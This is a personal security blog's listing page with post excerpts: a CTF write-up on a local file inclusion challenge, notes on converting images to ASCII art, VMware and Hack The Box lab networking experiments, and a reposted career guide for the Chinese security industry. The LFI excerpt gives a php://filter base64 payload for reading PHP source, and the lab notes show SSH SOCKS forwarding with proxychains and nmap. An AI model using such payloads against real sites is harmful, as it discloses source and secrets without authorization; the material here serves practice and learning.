info2: 整理下已知网站目录 http://lfi.warchall.net/protected/ http://lfi.warchall.net/temp/

http://lfi.warchall.net/protected/logs/20180905_critical_details.txt 可以分析出,log目录下,记录了来自各地的尝试文件包含的攻击记录。 8 而这个攻击记录,则表明,文件包含使用的是require_once()这个函数 而漏洞指明了index.php 的第11行。

线索

查看源码

于是我返回了index.php 10

现在考虑一下,题目意思是什么,本地文件包含通常会泄露敏感信息。 然后下一步就是找flag了吧 11

找不到flag所在的路径啊!好气

writeup

writeup 看了一些wp,发现解题思路是这样的:solution.php因为是脚本文件,所以客户端是不能直接查看的。

要通过以下协议,将php编码一下再查看。?lang=php://filter/convert.base64-encode/resource=solution.php"

按照wp,这道题其实坏了,得不出flag的。有点坑。 12

阅读全文 »

图片转换字符画

发表于 2018-10-01 | 分类于 code

参考:

图片转字符画

BadApple视频转字符动画

依赖

python3 + PIL模块

程序分析

0 2 该程序可以定义生成字符画的类型(html、txt)、画的尺寸

pil的image类

1
2
3
4
pic = Image.open('路径') #创建一个类实例
x,y = pic.size
out = pic.resize((x,y),Image.NEAREST) 
out.save("C:\Users\whale\Desktop\2.jpg")

上述代码,打开了一个图片a,获取了a的尺寸,并且以该尺寸另存为2.jpg。

如果在第一行加上 pic = Image.open('路径').convert('L') 11 那么保存的2.jpg就是灰度模式。一般都是RGB模式,学过绘画的都知道,三原色(red,green,blue)只要三种颜色,就可以调出任何其他颜色,黑色白色不算。 em…懒得写了,直接

源码

视频转png图片

png图片转txt

批量转换为txt

播放脚本:

1
2
3
4
5
6
#!/bin/bash
for i in $(seq 1 483)  
do
cat /root/Desktop/txt/$i.txt
sleep 0.1
done

效果

01 忧伤,水平还是这么菜

阅读全文 »

Vmware相关

发表于 2018-09-30

问题一,无法访问htb内网

?要怎样配置,才能让kali虚拟机访问htb内网。

相关(也许不相关)知识点:

  • 端口转发,也可以叫静态端口映射你必须将你的服务端的内网ip的端口转发到外网才能访问,这就是端口转发。

  • 动态端口映射(NAT,网络地址转换),两个主机,将a主机的1端口映射到b主机的1端口。于是访问b:1就等于访问a:1。

  • 静态和动态端口映射的区别,当连接关闭后,内网和公网端口的映射就关闭了,这叫做动态端口映射。而静态端口映射,不管有无连接,端口映射关系都是固定的。

  • shadowsocks代理:将一台服务器配置为ss代理服务器,然后客户端用口令等信息通过secure socket 5协议登陆,达到了通过代理访问网络的目的。

  • 反向代理与正向代理: 12

反向代理,简而言之,就是一个服务端的负载均衡器

假如有很多很多客户端,由一个服务器处理不过来,那好,你说,那我多加几个服务器不就行了?又有一个问题,客户端来访问时候,到底访问哪个服务器?

呃,这就需要一个代理,将客户端的请求通过代理,发送到不同的服务器上去(有效的分流了请求,使单个服务器的压力不会太大)

一般用nginx作为反向代理的服务器。我的Linux里的nginx的路径是/etc/nginx,nginx.conf 是服务器的配置文件,用 -t 可以检查设置是否有误

实验一,kali and vps连通性

vps监听,成功连接

kali监听,连接失败 原因是,kali虚拟机是nat模式,通过物理机上网。kali的包通过物理机公网ip发出,vps连接kali,只能找到物理机。

实验二,端口转发

参考资料:内网端口转发 目的:绑定kali:2333和vps:22端口,因为vps能访问htb内网,kali不能,所以期望vps能代替我们将数据取回。

1
2
(kali虚拟机)#ssh -2 -D 2333 root@(vps的ip)
输入密码连接成功

将浏览器设置代理,监听127.0.0.1:2333,然后访问内网ip:80。 2

3 我还以为失败了,然后重新测试了一下。 配置proxychains监听127.0.0.1:2333,然后用nmap扫描,发现扫描内网主机存在,确认端口转发成功。 4

浏览器访问失败原因可能是:vps是通过vpn访问的htb内网,vpn将数据加密了,不允许数据包再重新转发到其他机器。

所以我们想用kali连htb内网,不能间接通过vps转发,只能用kali的openvpn直接连接。

实验三,windows连接openvpn

下载了openvpn,windows版本。 但是怎么都连不上。 查log,查ovpn文件。。。。最后发现

vps和htb服务器连接情况良好

本地连不上

只可能是伟大的墙干的了。。。 终于找到问题的根源了,愁死我了==

有两个解决办法

  • vultr的服务器重新装系统,系统换为kali的。好处是免费,墙外直接操作扫描速度等很快,坏处是复杂,虽然不难,但是要整也是很多事要做。
  • 买htb的vip,每个月10英镑,折合90块左右。 然后切换到vip服务器,选择很多,肯定有没被墙的主机。

问题二,vmware鼠标失灵

方法一:先重装vmtools无效

方法二:vmware面板——帮助——软件更新——检查更新——获取更多信息——download now 更新vmware到15版本,成功

问题三,nat模式还是上不了网

虚拟网络编辑器——还原默认设置——确认 虚拟机重新启动

阅读全文 »

信息安全行业从业指南2.0

发表于 2018-09-29 | 分类于 View

作者:赵彦
整理者:whale

编辑引言:

在网上看到赵彦前辈的这篇文章(2014年发布),但是通篇文字下来,一个小标题都没有,看得实在累得慌。

但内容对于新人来说,很有参考价值,所以斗胆编辑整理。


正文:

为了减少篇幅有些东西就略过不写了,可以参考我以前写的《信息安全从业参考》《信息安全的职业生涯》《CSO的生存艺术》等老文章,或者我记得在安言的论坛上有人对我写的话题展开和补充并重新成文,具体记不太清了,但应该也是可以参考的。

我个人没有能力去预言安全产业的发展,但职业毕竟是个跟产业相关性比较大的话题,所以也适当援引一些个人观点吧。

甲乙方说起

从甲乙方说起,乙方分为2B和2C两类,这里主要说2B的部分,因为2C中的大部分更适合归入互联网行业。

IDC的报告称2018年中国企业安全市场约200亿RMB,相对于互联网,游戏等其他领域而言显然是个很小的市场,所以安全公司不会像互联网领域的创业公司一样遍地开花,会受到整个市场容量的限制,对于乙方如果不是360,那就是启明绿盟天融信这类公司了(名字太多不一一列举,如果你所在公司营业额很高而未出现在此列请不要生气,这里并无意去关注具体的公司)。

有人会说以后乙方可能还会有BAT诸如阿里云这些,没错,但从做的事情而言,即便阿里云成了乙方,阿里云安全成了乙方安全,但实际上做的事情对于从业者而言还是甲方做的那些事情,因此在这里就不把他们归入乙方了。

对于乙方做的事情,从厂商角度看可能会有一系列的产品和服务的创新,但对于从业者而言其实跟以前差不太多,至少在可见的时期内还是以前文章里写的那些,还看到不到质的变化。

如果你一定要在乙方寻求点不同的体验,那就去所谓的互联网安全公司的非传统安全业务或者去传统安全公司的互联网业务线。

撇开乙方看甲方,应该是比较乐观的,这是一个跟企业安全市场盘子无关的领域,随着企业开始重视安全,甲方会有更多的安全职位,并且安全职位会多样化,这里应该是一个比较广阔的空间。

甲方乙方之外是学术研究领域,对那片土地不是很了解,本文就仅限于工业界吧。欢迎学术界和高校院墙之内的同学们补充。

(至于黑产和国家队,本文就不打算写了,毕竟大部分人不会走这条路,我只知道那也是一个很神奇又有点奇葩的世界,如果你有潜质,仅这一句话就能把你引向那里)

关于薪资

先退几步,如果你尚在考虑要不要进入这个行业,我可以提供几点参考。据我和朋友们观察,10多年以来在同一个公司同一个级别上的工程师,大多是安全比运维和开发的工资高,但CTO大多来自运维和开发,鲜有从安全晋升来的。

原因不难理解,安全在不少场合都不是必需品。好或者不好因人而异,事实上身边还是有很多安全技能很高的人表示如果再给一次选择的机会,可能不会选择安全,这其中包括你们耳熟能详的大牛们。有一个方法可以自测一下,如果你内心深处都没有偶尔想入侵一下,黑一下,一探安全究竟的时候,我建议你还是考虑其他安全以外的行业,你在这个行业能发力的可能性不大。

从业者的构成

从从业者的构成看,我认为可以分为黑客圈,安全圈和安全圈的外围。

黑客圈无论你喜欢叫他白帽子还是什么,总之就是以攻防技能为主线并以此出卖自己知识的人,安全圈跟黑客圈交集很大,也包括那些在安全行业的主要力量但却不是白帽子或黑帽子出身的人,这两者构成了安全行业的核心,即本质上安全行业是由理解网络攻防的人为核心构成的。

外围是什么呢,随着安全需求的多样化,安全会引入大量跟攻防不直接相关的人,比如做业务安全数据分析,运维hadoop集群或做BI的开发,或者做安全产品开发,这些人本质上不是跟安全行业强绑定的,例如有的人做安全产品的UI开发,换做去其他行业也一样做UI,做业务安全数据分析的去非安全的业务部门一样做数据分析,不是严格意义上安全行业的人。

只有以攻防为主线,和以安全咨询体系为主线的人才是跟安全行业绑定的,这些人需要考虑终生投产比和基因决定理论的影响,其他的外围看官们理论上跨行业更容易些。

在当前时间点看,安全圈是一个很小的圈子,不是远小于,是远远小于运维和开发圈,江湖味道更浓,有时候也颇具文人相轻的味道,不过好的一面是互联网公司之间安全团队的交流越来越平,除了直接敌对公司外,大部分人都朝着更加开放的互联网沟通和分享文化迈进。

说了这么多,如果你想进入安全行业,并且成为中流砥柱,那么知识结构和背景技能应该和攻防技术强相关,这条线不保证你容易成为高管,但从统计学角度能保证你不偏离行业的核心。

安全管理趋势

插几句谈一下安全管理的趋势,因为这个会影响从业者的价值观和学习方向。我个人认为的几个趋势:

1.企业安全管理最终都会向互联网公司学习–未来大多数公司都会复制自己业务到互联网,也就是大多数企业都会拥有互联网的属性。

从现在看,互联网公司的安全管理方法论是领先传统公司整整一个时代的,完全不在一个量级上。你还在做传统的安全吗?夸张一点说你就快不属于这个行业了

2.向云迁移–云是一种趋势,虽然我不认为短期内马上会有非常多的公司将自己的业务迁移到公有云上,或者从头打造私有云。

但是云计算折射出的IT管理方式,技术架构却会越来越成为安全管理的风向标,例如分布式IDC管理,虚拟化,SDN,海量运维生态,业务伸缩,大数据,高度自动化,敏捷发布……等很多带着时代标签的东西,安全管理体系的设计和产品化落地需要越来越多的围绕这些特性标签展开工作,如果你没有这方面的经验,也会逐渐out

3.倾向于以技术和产品(工具自动化)解决问题,而不再是以前宣扬的七分管理三分技术。看近些年的IT技术发展,本质上由Google、Facebook为代表的这些互联网公司带动,除了技术架构,像运维管理、研发生命周期管理、安全管理都在成为其他公司的教科书,安全的最高境界是让你身处于保护之中而不感觉那些繁琐措施和流程的存在,以技术、自动化、机器学习、人工智能为导向解决问题的价值观已超越流程制度的落后方式,也是过去那些理论标准越来越显得发虚的原因。

从这些趋势看,如果你是体系架构型,技术复合型(俗称全栈工程师),特定技术方向专攻型以后会受市场青睐,而“务虚型“的市场价值可能不太乐观。

随着2000年后安氏把基于资产威胁脆弱性风险评估方法论带入中国,精通各类安全标准的顾问身价一度比会安全技术的工程师高,但现在这些东西包括IT治理的理论已经远不如以前风光,你说你会ISO27001,随便找个聪明点的刚毕业的本科生,做一年也就会了。但如果你说”我有10万台服务器的安全管理经验“,对方可能会表示”小伙子,来我们这上班吧!“。

让会攻防的人学习ISO27001、20000之类的东西,跟让务虚型学习技术,前者的成功率会比较高,而后者的成功率会很低,这就是可替代性。

很多同学看到这些也许会觉得哀怨,甚至咨询圈的老人会列举一大堆”价值“和”空间“,是的我相信Accenture、Thoughtworks他们有很多我没提到的前景,我说这些并非因为我呆过360,出身绿盟,我也不是唯技术论者。 就像浪潮之巅所说的,这些都是时代的趋势,不是以个人意志为转移的,哪怕是公司想拒绝他都如同螳臂挡车。

为什么在互联网公司技术专家的报酬可以比管理人员高,取决于你解决问题所对应的价值层次,实际上也是时代演进的产物,也许现在更缺能解决实际问题的人。从就业的角度讲,这种趋势为技术从业者提供了更广阔的前景和空间。

对于乙方,比较有价值的地方是研究部门、安全服务、攻防强相关产品研发。对于甲方,除了大互联网(门户、搜索、广告、电商、网游、社交、支付、移动APP……)、金融、电信行业之外,其他就目前来讲可能不是甲方安全从业的好的选择,毕竟形式上重视安全和本质上重视安全还是两回事。

现实生活中的人员分布也可以佐证这一点,国内比较懂安全的人绝大部分都在互联网公司,第一梯队3BAT、第二梯队BAT之外的知名互联网公司(有些兄弟单拉出来绝不比BAT的差,这里主要是笼统的比较),第三梯队可能在金融和电信业有一些,再剩下来可能没有太懂安全的人了,因为懂安全的早就被上述挖光了……(当然,如果看官您恰巧是某个大牛,又恰好很例外不在上述行业中请勿生气,我会尽可能在该文的下一修订版本中注明”xxx是个例外,目前在yyy就职”)。

甲方安全建设的多样性也使得分工越来越细:网络与基础架构安全,业务与应用安全,风控……,例如SRC运营就是一个相当垂直的细分职能,尽管在互联网公司做安全你可能会有优越感,但如果长时间做很细的一块儿也可能导致没有成为领域专家却“偏科”的很厉害。T字形人才通常比较受欢迎,最好是甲方乙方都呆过,那样所有的套路你都会了,无死角。

价值一方面跟人才市场的供求关系有关,一方面也跟学习成本高低、获取技能的难易度有关,例如你会一种web开发语言,javascript,http协议,常用的SQL DML语句就能开始玩web安全了,但如果你想玩溢出,相比之下还是需要花更多的时间学习更多东西才能越过这个门槛,而读懂ISO27001则容易的多(这里无意于表达web和二进制谁更牛叉谁更值钱这样的无聊问题,只是举个抽象的例子),如果你觉得因为钱多而把自己的目标设定为要走袁哥的路,而忽视了自己的兴趣,fail的可能性比较大。另外,技巧永远不能代替技术,过分迷恋于技巧对长足的发展没有好处。

历史从业者的技能

第一代安全从业者的技能基本以OS和网络安全为主,1.5到第二代以广义的web service等应用安全为主,如果一定要说第三代,移动安全可能还算是当下比较热门,关注者比较多。

相对前沿的领域,而从VC的角度看移动互联网可能都不再是热点,早已开始布局更下一代的东西了,也许是类似于人工智能这样的领域。

PC端和web安全虽然研究者众多,议题众多,方法论很多,大多数行业内的从业者每天围绕这些工作,但这些应该即将归入红海,不再属于前沿的、时代浪潮之上的东西,反过来说一个蓝筹但不再新兴的市场,其对安全的需求还是有一个很高的保有量,所以有很多事情可以长期做但也许之后就不在是什么有新鲜感的东西了。

第一代的人起步的时候,那时候IT基础设置和应用复杂度都远不如现在,所以那时候都是把安全建设放在网络和系统层面的,而后来随着IT在社会生活中实用化的程度越来越高,业务越来越多的依赖于IT,I的多样性和T的复杂度成倍提升,使得安全的需求也越来越广,单个从业者的技能不太可能通吃全部,大一点的机构开始把业务安全独立出来,分工越来越细,人研究的内容则越来越专,安全团队中开始加入开发和运维,甚至还涉及到硬件领域,也许以后的安全团队就是一个什么人都有的兵器库。

对个人来说一方面你到底需要多前沿的铺垫才能不out,另一方面则要考虑将自身定位收缩于哪些点才可能挖到最深,视野一定是尽可能的宽泛,是一个“放”字,但落到实践一定是个“收”字,以如今的技术复杂度你不可能样样都精通,只能挑几个。

从业者的前景

对于从业者的前景,其实在过去相当长的时间里,由于乙方公司的净利润很低以及甲方安全不是产生收入的部门,所以从业者的前景一度比较暗淡,直到后来有了360这样的公司,有了BAT的崛起,才使得技术从业者的待遇得到了极大的改善。

斯诺登曝光之后,国家层面开始重视信息安全,以华为这样的企业建立安全能力中心为代表,今年安全人才需求开始井喷,供求比大幅失衡,国内资深从业者的工资已经赶超了美国的工程师,在当下看是一片利好,但有时候也说不清这到底是价值回归还是有点泡沫成分,没人能说得准,但短期内一定是人才供不应求,但是不是长期供不应求也很难说。

因为现在越来越多的高校也开始培养安全方向的人,供给量会变大,安全会从小众变成大众学科,当然,无论什么时候这个行业的精英一定是跟兴趣和天赋挂钩的,有时候确实需要一点“歪门邪道”的天赋。

关于创业,如果你原先是做安全产品研发,能带一支完整的团队出来,做的产品属于下一代类型或者干脆就是市场空白,不妨尝试一下,其他的类型我认为创业的成功率应该比较低。

最后,如果你有条件的话,多接触技术大牛和视野型的资深从业者,适当关注一下安全以外的新技术趋势。

全文完

通篇下来可能会有聪明的同学提问说的这些是不是可以概括为最优解应该是去互联网公司做安全?(看情况)其实不然,甲方乙方,身处不同的阶段有不同的需求,没有哪里一定最好之说,哪怕是3BAT对有些人来说也是瓶颈之地,所以还是看具体场景。

阅读全文 »
1 … 17 18 19 … 33
whale

whale

Aimed at Pro Penetration tester. Email me "weaponmaster3070@gmail.com"

394 日志
31 分类
44 标签
github
© 2021 whale
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访客数 人 总访问量 次